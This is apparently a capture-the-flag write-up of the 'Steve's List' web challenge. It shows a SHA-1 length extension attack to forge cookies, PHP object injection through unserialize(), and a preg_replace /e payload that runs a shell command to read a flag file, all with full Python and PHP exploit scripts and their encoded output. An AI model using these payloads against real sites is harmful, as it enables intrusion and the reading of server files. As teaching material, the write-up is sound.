Created: 2014-11-08 22:01:33
Last modified: 2014-11-09 23:28:12
Section Chief Steve was super proud of the website he was writing, but he's pretty new to programming. When Daedalus Corp caught wind of this, they hacked his site. Steve still has an old backup, but they changed the secrets! They sent us a cryptic message saying they bet we couldn't read /home/daedalus/flag.txt
. Can you go get it for us?
Go have a look at the cookies. Steve is pretty sure he wrote a bug, and that Daedalus left the secret the same length.
Use a Length Extension Attack to exploit a PHP unserialization vulnerability. Then, exploit a preg_replace vulnerability to execute system commands.
The hint tells us to go look at the cookies, so that's where we will start. Here is the contents of the cookies.php
:
<?php
if (isset($_COOKIE['custom_settings'])) {
// We should verify to make sure this thing is legit.
$custom_settings = urldecode($_COOKIE['custom_settings']);
$hash = sha1(AUTH_SECRET . $custom_settings);
if ($hash !== $_COOKIE['custom_settings_hash']) {
die("Why would you hack Section Chief Steve's site? :(");
}
// we only support one setting for now, but we might as well put this in.
$settings_array = explode("\n", $custom_settings);
$custom_settings = array();
for ($i = 0; $i < count($settings_array); $i++) {
$setting = $settings_array[$i];
$setting = unserialize($setting);
$custom_settings[] = $setting;
}
} else {
$custom_settings = array(0 => true);
setcookie('custom_settings', urlencode(serialize(true)), time() + 86400 * 30, "/");
setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)), time() + 86400 * 30, "/");
}
?>
The interesting lines from this for now are
$custom_settings = urldecode($_COOKIE['custom_settings']);
$hash = sha1(AUTH_SECRET . $custom_settings);
if ($hash !== $_COOKIE['custom_settings_hash']) {
die("Why would you hack Section Chief Steve's site? :(");
}
....
setcookie('custom_settings', urlencode(serialize(true)), time() + 86400 * 30, "/");
setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)), time() + 86400 * 30, "/");
Our first goal is to be able to predict the cookie hash we need for an arbitrary piece of data so we can modify the custom_settings_hash
cookie and custom_settings
cookie without triggering the hack detection message Why would you hack Section Chief Steve's site? :(
. To do this we employ a Length Extension Attack which works because we know the hash is composed of data (in this case serialize(true)
) appended to the secret key when the cookie is first set. Note the hash, 2141b332222df459fd212440824a35e63d37ef69
, that is generated when you first browse to a site as this will be important later. I recommend a Chrome extension such as EditThisCookie or a Firefox extension such as Cookies Manager+ for viewing/modifying cookies which we will do several times in this problem. The final piece of information we need to make the attack work is the length of the secret. If we look in root_data.php
<?php
define('STEVES_LIST_ABSOLUTE_INCLUDE_ROOT', dirname(__FILE__) . "/");
define('STEVES_LIST_TEMPLATES_PATH', dirname(__FILE__) . "/templates/");
define('DISPLAY_POSTS', 0);
// Daedalus changed this... I guess AAAAAAAA was not a good secret :(
define('AUTH_SECRET', "AAAAAAAA");
require_once(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "includes/classes.php");
?>
we can see the 8 character secret AAAAAAAA
that Steve had, and the hint tells us that the one Daedalus created was the same length. We can now use one of many online tools (I am going to use hlextend ) to create our own hashes!
Once we have hlextend installed, we need to configure it
Here is a example of how to use hlextend:
import hlextend
import urllib
sha = hlextend.new('sha1')
data = sha.extend('wecanpredictyourhash','b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69')
print 'custom_settings: ' + urllib.quote_plus(data.replace('\\x','%'))
print 'custom_settings_hash: ' + sha.hexdigest()
Let's break down the sha.extend
line
wecanpredictyourhash
: The data we want to add
b:1;
: The original data,serialize(true)
8
: length of the secret key
2141b332222df459fd212440824a35e63d37ef69
: The orginal hash we noted above
Running this script gives us:
custom_settings: b%3A1%3B%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%60wecanpredictyourhash
custom_settings_hash: db76c30d3394c5dfe135abe53fd844d3cca87c93
and if we set this output as our two cookies and load the page, we don't get an error. Great!
Now we need to figure out what to do with our new-found power. Looking back at the cookies.php
we see theses lines that run just after the hash is verified:
$settings_array = explode("\n", $custom_settings);
$custom_settings = array();
for ($i = 0; $i < count($settings_array); $i++) {
$setting = $settings_array[$i];
$setting = unserialize($setting);
$custom_settings[] = $setting;
}
Our exploit string is converted to $settings_array
, where the string is read from left to right and split into indexes based on the location of the \n
(newline) character. Then, each individual index of the array gets unserialize()
called on it. A quick search shows that unserialize()
has a vulnerability where we can use it to create an object defined in the site (and have it's _construct
and _destruct
methods run). Time to take a look at what objects we have available to us! Browsing to includes/classes.php
we see the following code:
<?php
class Filter {
protected $pattern;
protected $repl;
function __construct($pattern, $repl) {
$this->pattern = $pattern;
$this->repl = $repl;
}
function filter($data) {
return preg_replace($this->pattern, $this->repl, $data);
}
};
class Post {
protected $title;
protected $text;
protected $filters;
function __construct($title, $text, $filters) {
$this->title = $title;
$this->text = $text;
$this->filters = $filters;
}
function get_title() {
return htmlspecialchars($this->title);
}
function display_post() {
$text = htmlspecialchars($this->text);
foreach ($this->filters as $filter)
$text = $filter->filter($text);
return $text;
}
function __destruct() {
// debugging stuff
$s = "<!-- POST " . htmlspecialchars($this->title);
$text = htmlspecialchars($this->text);
foreach ($this->filters as $filter)
$text = $filter->filter($text);
$s = $s . ": " . $text;
$s = $s . " -->";
echo $s;
}
};
$standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"),
new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"),
new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"),
new Filter("/\[br\]/i", "<br>")];
?>
We can inflate a Post
object using unserialize()
and have it's _destruct
method called. We wil know we are successful when we see a comment such as <!--Post TITLE TEXT -->
in the source of Steve's List. I used this php code to generate the serialized version of the post object:
<?php
class Post {
protected $title;
protected $text;
protected $filters;
function __construct($title, $text, $filters) {
$this->title = $title;
$this->text = $text;
$this->filters = $filters;
}
function get_title() {
return htmlspecialchars($this->title);
}
function display_post() {
$text = htmlspecialchars($this->text);
foreach ($this->filters as $filter)
$text = $filter->filter($text);
return $text;
}
function __destruct() {
// debugging stuff
$s = "<!-- POST " . htmlspecialchars($this->title);
$text = htmlspecialchars($this->text);
foreach ($this->filters as $filter)
$text = $filter->filter($text);
$s = $s . ": " . $text;
$s = $s . " -->";
echo $s;
}
};
class Filter {
protected $pattern;
protected $repl;
function __construct($pattern, $repl) {
$this->pattern = $pattern;
$this->repl = $repl;
}
function filter($data) {
return preg_replace($this->pattern, $this->repl, $data);
}
};
$filters = array();
$test = new Post("Test","text",$filters);
echo serialize($test);
?>
Which generates:
O:4:"Post":3:{s:8:"\x00*\x00title";s:4:"Test";s:7:"\x00*\x00text";s:4:"text";s:10:"\x00*\x00filters";a:0:{}}
Note the \x00
around the * which is standard for php protected variables. If you don't include them the unserialize()
will fail.
Now let's modify our script from above to regenerate our cookie
import hlextend
import urllib
exploit = """
O:4:"Post":3:{s:8:"\x00*\x00title";s:4:"Test";s:7:"\x00*\x00text";s:4:"text";s:10:"\x00*\x00filters";a:0:{}}
"""
sha = hlextend.new('sha1')
data = sha.extend(exploit,'b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69')
print 'custom_settings: ' + urllib.quote_plus(data.replace('\\x','%'))
print 'custom_settings_hash: ' + sha.hexdigest()
Note the \n
before our post, which ensures it is split into a separate array index when we run
$settings_array = explode("\n", $custom_settings);
We get the output:
custom_settings: b%3A1%3B%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%60%0A%0AO%3A4%3A%22Post%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00title%22%3Bs%3A4%3A%22Test%22%3Bs%3A7%3A%22%00%2A%00text%22%3Bs%3A4%3A%22text%22%3Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7D%7D
custom_settings_hash: 22fae79c8ba8c81ad05de3aa3fad448ac07ec7f7
When this is entered into Steve's list, this appears at the bottom:
<!-- POST Test: text --><!-- POST 0wn3d by D43d4lu5 C0rp: OWNED OWNED OWNED OWNED OWNED OWNED SECTION CHIEF STEVE IS THE WORST<br><img src='./daedalus.png'><br><script>alert(1);</script><marquee>rekt</marquee><br><br><blink>we changed your secret</blink><br><br><marquee><blink>bet you'll never get control of this site back</blink></marquee><br><blink>look at this top quality tag we added</blink> --><!-- POST I'm Section Chief Steve: I'm the best.<br>The very best.<br><img src='./Steve.png'> -->
Success! We see our object <!-- POST Test: text -->
has been injected successfully! We still need to figure out how to exploit this all to get the flag though...
As it turns out, the answer is not far away. Going back to objects.php
let's take a look at the filter class:
class Filter {
protected $pattern;
protected $repl;
function __construct($pattern, $repl) {
$this->pattern = $pattern;
$this->repl = $repl;
}
function filter($data) {
return preg_replace($this->pattern, $this->repl, $data);
}
};
This performs a preg_replace
on whatever data we send it. preg_replace
uses regex to match a piece of text, then replaces it with another string. A little searching reveals that preg_replace
has an optional /e
flag that when used, calls eval
on the replace string ($this->repl
in this class) and replaces the matched data with the output of the eval(replacement string)
instead of the actual replacement string. We can use this to call cat /home/daedalus/flag.txt
. Let's modify our php code:
<?php
---Object definitions ---
$filters = array();
$filter = new Filter ('/^(.*)/e' ,'`cat /home/daedalus/flag.txt`');
array_push($filters,$filter);
$test = new Post("Test","stuff",$filters);
echo serialize($test);
?>
Note the ` at the beginning and end of cat /home/daedalus/flag.txt
. This is important because preg_replace
escapes input otherwise.
Now we add the new output of our PHP code to the python script:
import hlextend
import urllib
exploit = """
O:4:"Post":3:{s:8:"\x00*\x00title";s:4:"Test";s:7:"\x00*\x00text";s:5:"stuff";s:10:"\x00*\x00filters";a:1:{i:0;O:6:"Filter":2:{s:10:"\x00*\x00pattern";s:8:"/^(.*)/e";s:7:"\x00*\x00repl";s:29:"`cat /home/daedalus/flag.txt`";}}}
"""
sha = hlextend.new('sha1')
data = sha.extend(exploit,'b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69')
print 'custom_settings: ' + urllib.quote_plus(data.replace('\\x','%'))
print 'custom_settings_hash: ' + sha.hexdigest()
and get the output
custom_settings: b%3A1%3B%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%60%0A%0AO%3A4%3A%22Post%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00title%22%3Bs%3A4%3A%22Test%22%3Bs%3A7%3A%22%00%2A%00text%22%3Bs%3A5%3A%22stuff%22%3Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Filter%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00pattern%22%3Bs%3A8%3A%22%2F%5E%28.%2A%29%2Fe%22%3Bs%3A7%3A%22%00%2A%00repl%22%3Bs%3A29%3A%22%60cat+%2Fhome%2Fdaedalus%2Fflag.txt%60%22%3B%7D%7D%7D%0A
custom_settings_hash: 99e3fd25b62d5224144c22609e9d210697693b66
Entering this into the site and viewing the source code reveals:
<!-- POST Test: D43d4lu5_w45_h3r3_w1th_s3rialization_chief_steve -->
Congratulations! If you made it this far you just solved the toughest Web Exploitation challenge in the competition!
Here are the scripts used during this write-up:
D43d4lu5_w45_h3r3_w1th_s3rialization_chief_steve